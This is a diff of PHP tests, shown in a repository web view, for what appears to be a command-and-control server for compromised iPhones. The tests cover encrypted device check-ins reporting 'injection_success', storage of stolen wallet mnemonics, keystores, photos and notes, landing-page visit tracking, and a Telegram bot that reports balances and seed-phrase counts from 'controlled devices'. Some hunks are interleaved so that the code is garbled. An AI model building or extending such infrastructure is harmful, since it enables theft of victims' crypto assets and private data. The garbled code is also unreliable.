])->assertOk();
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '2001:db8::9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame('4.2.01', $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function core_routes_accept_sdkv_when_ver_missing(): void
|
||||
{
|
||||
$this->xxbbPost('/u', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
'al' => [],
|
||||
], '1786468227899', [
|
||||
'HTTP_SDKV' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function non_core_routes_do_not_write_channel_id(): void
|
||||
{
|
||||
$this->xxbbPost('/uj', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b',
|
||||
'result' => 'abandon ability able about above absent absorb abstract absurd abuse access',
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => self::CHANNEL_ID,
|
||||
'HTTP_SDKV' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
$this->assertSame('landing.example', $device->source_domain);
|
||||
$this->assertSame('2001:db8::9', $device->ip);
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_matches_ipv4_mapped_ipv6(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '::ffff:203.0.113.9',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_without_visit_is_still_created(): void
|
||||
public function core_without_ver_headers_still_creates_device(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
@@ -150,6 +119,21 @@ class NewBuilderIngestTest extends TestCase
|
||||
$this->assertNull($device->source_domain);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function invalid_ver_header_does_not_write_channel_id(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => 'FAFA9988',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function old_builder_put_still_writes_payload_c(): void
|
||||
{
|
||||
@@ -173,37 +157,23 @@ class NewBuilderIngestTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function claimed_visit_is_not_reused_by_second_device(): void
|
||||
public function later_core_request_fills_empty_channel_id(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '127.0.0.1',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '111C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
|
||||
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
], '1786468227900', [
|
||||
'HTTP_VER' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
|
||||
$this->assertNull($second->channel_id);
|
||||
$this->assertNotNull($second);
|
||||
$this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,23 @@ class PageVisitTest extends TestCase
|
||||
|
||||
private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
|
||||
|
||||
#[Test]
|
||||
public function hit_records_new_builder_version_channel(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$channel = '3.1.07';
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => $channel,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
'p' => '/channel/'.$channel.'/weifile/weifile.html',
|
||||
])->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame($channel, $row->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function hit_records_visit_with_parsed_ua(): void
|
||||
{
|
||||
@@ -209,10 +226,10 @@ class PageVisitTest extends TestCase
|
||||
->assertJsonPath('data.effective_pv', 3)
|
||||
->assertJsonPath('data.effective_uv', 2)
|
||||
->assertJsonPath('data.by_os.0.label', 'iOS')
|
||||
->assertJsonPath('data.by_os.0.pv', 5)
|
||||
->assertJsonPath('data.by_os.0.uv', 4)
|
||||
->assertJsonPath('data.by_os.1.label', '其他')
|
||||
->assertJsonPath('data.by_os.1.pv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]);
|
||||
->assertJsonPath('data.by_os.1.uv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -287,6 +287,10 @@ class TelegramBotTest extends TestCase
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$text = $last['text'] ?? '';
|
||||
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
|
||||
$this->assertStringContainsString('设备与资产', $text);
|
||||
$this->assertStringContainsString('总余额', $text);
|
||||
$this->assertStringContainsString('助记词', $text);
|
||||
$this->assertStringContainsString('受控设备 · 系统版本', $text);
|
||||
$this->assertStringContainsString('按 iOS 版本', $text);
|
||||
$this->assertStringContainsString($channel, $text);
|
||||
}
|
||||
|
||||
@@ -6,7 +6,6 @@ use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -14,7 +13,6 @@ use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -46,87 +44,6 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->call('HEAD', '/vhx')->assertOk();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_records_page_visit(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => $ua,
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
]))->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('56885688', $row->channel_id);
|
||||
$this->assertSame('xxbb.tv', $row->domain);
|
||||
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
|
||||
$this->assertNotSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertNull($row->session_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_prefers_ua_patch_over_coarse_device_version(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1';
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => $ua,
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 15.8',
|
||||
'domain' => 'xxbb.tv',
|
||||
]))->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('15.8.4', $row->os_version);
|
||||
$this->assertSame('Safari', $row->browser);
|
||||
$this->assertSame('15.6.7', $row->browser_version);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_dedupes_by_session_id(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$body = [
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
];
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode([
|
||||
...$body,
|
||||
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertSame(2, PageVisit::query()->count());
|
||||
$this->assertSame(
|
||||
'11111111-2222-4333-8444-555555555555',
|
||||
PageVisit::query()->orderBy('id')->value('session_id'),
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function profile_creates_device_from_device_info(): void
|
||||
{
|
||||
@@ -143,6 +60,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertNull($device->user_agent);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -480,38 +398,4 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_logs_request_to_xxbb_folder(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
|
||||
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
|
||||
@unlink($xxbbLog);
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)',
|
||||
'HTTP_HOST' => 'landing.example',
|
||||
'HTTP_CF_CONNECTING_IP' => '2001:db8::9',
|
||||
'HTTP_X_FORWARDED_FOR' => '2001:db8::9',
|
||||
'REMOTE_ADDR' => '104.16.1.1',
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertFileExists($xxbbLog);
|
||||
$xxbbBody = (string) file_get_contents($xxbbLog);
|
||||
$this->assertStringContainsString('/api/iptj', $xxbbBody);
|
||||
$this->assertStringContainsString('56885688', $xxbbBody);
|
||||
$this->assertStringContainsString('2001:db8::9', $xxbbBody);
|
||||
$this->assertStringContainsString('104.16.1.1', $xxbbBody);
|
||||
$this->assertStringContainsString('"recorded":true', $xxbbBody);
|
||||
if (is_file($c2Log)) {
|
||||
$this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user